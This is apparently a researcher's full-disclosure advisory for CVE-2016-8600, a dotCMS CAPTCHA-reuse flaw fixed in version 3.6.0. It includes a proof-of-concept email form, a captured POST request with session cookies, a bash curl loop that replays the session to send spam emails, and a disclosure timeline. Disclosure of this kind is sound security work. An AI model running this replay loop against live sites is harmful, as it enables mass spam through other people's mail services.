In dotCMS framework [1] (before version 3.6.0) it was possible to re-use valid CAPTCHA (Completely Automated Public Turing test to tell Computers and Humans Apart) code.

Proof-of-Concept is made with dotCMS version 3.2.1.



Attacker must first fill manually valid CAPTCHA code.

No other pre-conditions - no authentication or authorization needed.

Proof-of-Concept form and request

From Email Header Injection vulnerability testing I already had one form for sending emails via dotCMS /sendEmail/ service.

span { width: 150px; display: inline-block; }
<form method="post" action="" enctype="application/x-www-form-urlencoded">
<span>From:</span><input type="text" name="from" value="fill it (from)" /><br />
<span>To:</span><input type="text" name="to" value="fill it (to)" /><br />
<span>Subject:</span><input type="text" name="subject" value="Captcha test original" /><br />
<span>Return URL:</span><input type="text" name="returnUrl" value="/1" /><br />
<span>Invalid captcha URL:</span><input type="text" name="invalidCaptchaReturnUrl" value="/2" /><br />
<span>use Captcha:</span><input type="text" name="useCaptcha" value="true" /><br />
<span>Captcha:</span><img src="" /><br />
<span>Captcha:</span><input type="text" name="captcha" value="" /><br />
<span>Comments:</span><input type="text" name="comments" value="No comments." /><br />
<span>&nbsp;</span><input type="submit" name="send" value="Send">

Visually form looks like this:

CVE-2016-8600 dotCMS - captcha bypass by reusing valid code - email form

On form submit browsers send this POST request to the server:

POST /dotCMS/sendEmail HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://127.1/dotcms/captcha_test.html
Cookie: dmid=41559441-3e57-4be0-b092-25f8a2115323; JSESSIONID=9F6D8F2888F46955A584F9933A140785; SHARED_SESSION_ID=3MPCQRQT9611; ..trackercookiesremoved..
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 187

Test-Attack - mass-spam using /sendEmail/ service

It's easy to use Proof-of-Concept POST request and automate it. Usually, I open FireBug plugin in Firefox' Net tab, right-click on the request I want to submit and click on "Copy as cURL". Benefit copying cURL command that way is that the fingerprint on the server for cURL command is the same like it was with browser. Which also means that this command contains all the cookies, including the session cookie. As the last loaded and valid CAPTCHA code is stored in session, the session cookie is exactly what we need for our exploit.

I just created for loop for sending 10 emails. Subject for each email will be "captcha test NR". In given example command is formated to multiline for better readability.


for i in {1..10}; do

    curl '' 
        -H 'Host:' 
        -H 'User-Agent: Mozilla/5.0 (X11; Linux i686 on x86_64; rv:33.0) Gecko/20100101 Firefox/33.0'
        -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' 
        -H 'Accept-Language: en-US,en;q=0.5'
        -H 'Accept-Encoding: gzip, deflate' 
        -H 'Referer:' 
        -H 'Cookie: dmid=41559441-3e57-4be0-b092-25f8a2115323; __atuvc=7%7C48%2C4%7C49; JSESSIONID=9F6D8F2888F46955A584F9933A140785; SHARED_SESSION_ID=3MPCQRQT9611' 
        -H 'Connection: keep-alive' 
        -H 'Content-Type: application/x-www-form-urlencoded' 
        --data 'subject=captcha+test '$i'&'


And soon I had in my inbox:

CVE-2016-8600 dotCMS - captcha bypass by reusing valid code - mass spam

This proved that it is possible to reuse valid CAPTCHA code. CAPTCHA code is renewed when you reload /Captcha.jpg from server. But if you don't reload it, you can use previous valid CAPTCHA code till your session is alive.

Status for listed problems

Reported problem is fixed in dotCMS version 3.6.0.


Update dotCMS to 3.6.0.

Vulnerability Disclosure Timeline

First I mentioned CAPTCHA reuse possibility in other reports

  • 2015-12-07 | me > dotCMS | CAPTCHA reuse possibility is mentioned in Email Header Injection description [2]
  • 2015-12-14 | me > dotCMS | asked feedback in other set of reported vulnerabilities

As reported Email Header Injection and different SQL injections were fixed and CAPTCHA reuse wasn't fixed, I Reported separately

  • 2016-05-27 | me > dotCMS | description of CAPTCHA reuse process
  • 2016-06-29 | me > dotCMS | any comments or feedback?
  • 2016-07-06 | dotCMS > me | confirmed bug and opened issue
  • 2016-07-06 | dotCMS | opened issue in GitHub | "Captcha can be programmatically reused by passing session id #9330" [3]
  • 2016-07-07 | me > | CVE requested .. no response
  • 2016-09-02 | dotCMS | dotCMS version 3.6.0 release [4]
  • 2016-10-10 | me > | CVE requested via web form [5]
  • 2016-10-11 | > me | CVE-2016-8600 assigned
  • 2016-10-17 | me | Full Disclosure on
  • 2016-10-19 | me | Full Disclosure in FullDisclosure mailinglist on [6]
  • 2016-11-01 | dotCMS | Announced problem on "Known issues" page [SI-38]


CVE-2016-8600 related links


comments powered by Disqus